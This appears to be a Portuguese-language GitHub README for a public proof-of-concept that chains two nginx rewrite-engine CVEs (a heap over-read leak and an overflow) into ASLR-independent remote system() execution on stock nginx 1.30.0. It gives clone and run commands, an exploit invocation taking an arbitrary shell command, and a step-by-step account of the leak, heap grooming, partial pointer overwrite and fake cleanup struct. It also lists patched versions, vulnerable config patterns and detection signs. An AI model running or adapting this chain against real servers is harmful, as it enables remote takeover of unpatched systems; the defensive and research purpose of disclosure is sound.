
PoC de cadeia RCE no nginx independente de ASLR, combinando o vazamento por over-read de heap PoolSlip (CVE-2026-9256) com o overflow rift (CVE-2026-42945) para alcançar system() em nginx padrão.
Primeira cadeia pública de dois bugs recém-divulgados do motor de rewrite do nginx em um único
system() remoto independente de ASLR na imagem Docker oficial nginx:1.30.0 padrão
(Debian 13, glibc 2.41) — sem endereços fixos, sem reinício do nginx, ~90 % por worker novo.
$args → vaza libc + heap ao vivo.is_args (apenas bytes URL-safe) → uma
sobrescrita parcial de 2 bytes de um ponteiro de cleanup de limit_conn → ngx_destroy_pool
o percorre → system(cmd).Ambos são o mesmo descasamento de duas passagens do is_args apontado para dois sinks. Write-up técnico completo: Writeup
Divulgação e segurança
- Ambas as CVEs já estão corrigidas e sob exploração ativa na natureza. Atualize para nginx 1.30.2 (stable) ou 1.31.1 (mainline) — note que
1.30.1corrige o rift mas ainda é vulnerável ao PoolSlip, então apenas1.30.2fecha ambos. NGINX Plus: R36 P5 / R32 P7 / R37.0.1.1.- Isto é publicado apenas para educação e testes autorizados. Ele roda contra o laboratório Docker local incluído — não aponte-o para infraestrutura que você não possui ou para a qual não tem permissão por escrito para testar.
| CVE | apelido | vulnerável | corrigido (nginx OSS) |
|---|---|---|---|
| CVE-2026-42945 | rift | 0.6.27 – 1.30.0 | 1.30.1 / 1.31.0 |
| CVE-2026-9256 | PoolSlip | 0.1.17 – 1.30.1 + 1.31.0 | 1.30.2 / 1.31.1 |
| Arquivo | Propósito |
|---|---|
nginx.conf | Uma configuração crível de API-gateway (o alvo — limit_conn, um rewrite de migração v1→v2, um proxy de upload, uma página de busca degradada). Sem ajuste de alocador. |
run.sh | Levanta o laboratório local: nginx:1.30.0 padrão servindo nginx.conf, mais um upstream lento, no host :19322. |
exp_official.py | A cadeia completa: vazamento PoolSlip → deriva libc/heap → spray → groom → sobrescrita parcial rift → system(). |
exp_official.py), curl, Linux x86-64.run.sh usa perl (já presente na imagem nginx padrão) para o upstream lento, então não há pacote extra, nem arquivo slow_backend, nem necessidade de internet. O binário do nginx em si permanece padrão.WRITEUP.md, faça docker exec e apt-get install gdb file binutils, depois carregue o gef.git clone https://github.com/y198nt/Nginx-chain-Rift-Poolslip
cd Nginx-chain-Rift-Poolslip
bash run.sh # stock nginx:1.30.0 on http://127.0.0.1:19322
python3 exp_official.py --cmd 'id > /tmp/rce_proof' # leak → overwrite → system()
docker exec nginx-rift-official cat /tmp/rce_proof # → uid=101(nginx) ...
exp_official.py é one-shot (~90 % por worker novo): ele vaza uma vez e dispara uma vez. Se o
arquivo de prova estiver vazio, o groom caiu um slot fora — basta rodar de novo.
docker rm -f nginx-rift-official # tear the lab down
rewrite ^/search/((.*))$ /lookup?$1$2 faz a passagem de cópia definir
r->args.len além do buffer; a página /search degradada reflete $args no heap adjacente.
Após um breve aquecimento, um ponteiro do libpcre-cluster (fixo 0xb0ad08 abaixo da libc) e um
ponteiro de heap se estabilizam em offsets estáveis → libc_base e heap_base, nada fixo.limit_conn já válido — os bytes altos
aleatórios do ASLR seguem intactos → independente de ASLR.ngx_pool_cleanup_t{handler=&system, data=cmd, next=0} pulverizado; fechar a vítima dispara a caminhada de cleanup do
ngx_destroy_pool → system(cmd).Veja o Writeup para a derivação completa, sessões de gdb e os becos sem saída/pivôs.
rewrite cujo replacement contém ? e referencia uma captura
PCRE ($1/$2), ou um padrão de captura aninhada como ^/x/((.*))$ → /y?$1$2. Audite as
configurações para esses casos e reformule o rewrite/set problemático até corrigir.$args refletido (ou qualquer variável derivada da requisição ecoada de volta) é o que
transforma o over-read em vazamento de informação — não reflita argumentos de requisição
literalmente.%2B/+ no caminho da URI (GET /search/+++…), 503s de uma
página degradada ecoando um $args longo, e tempestades de SIGSEGV/respawn de workers.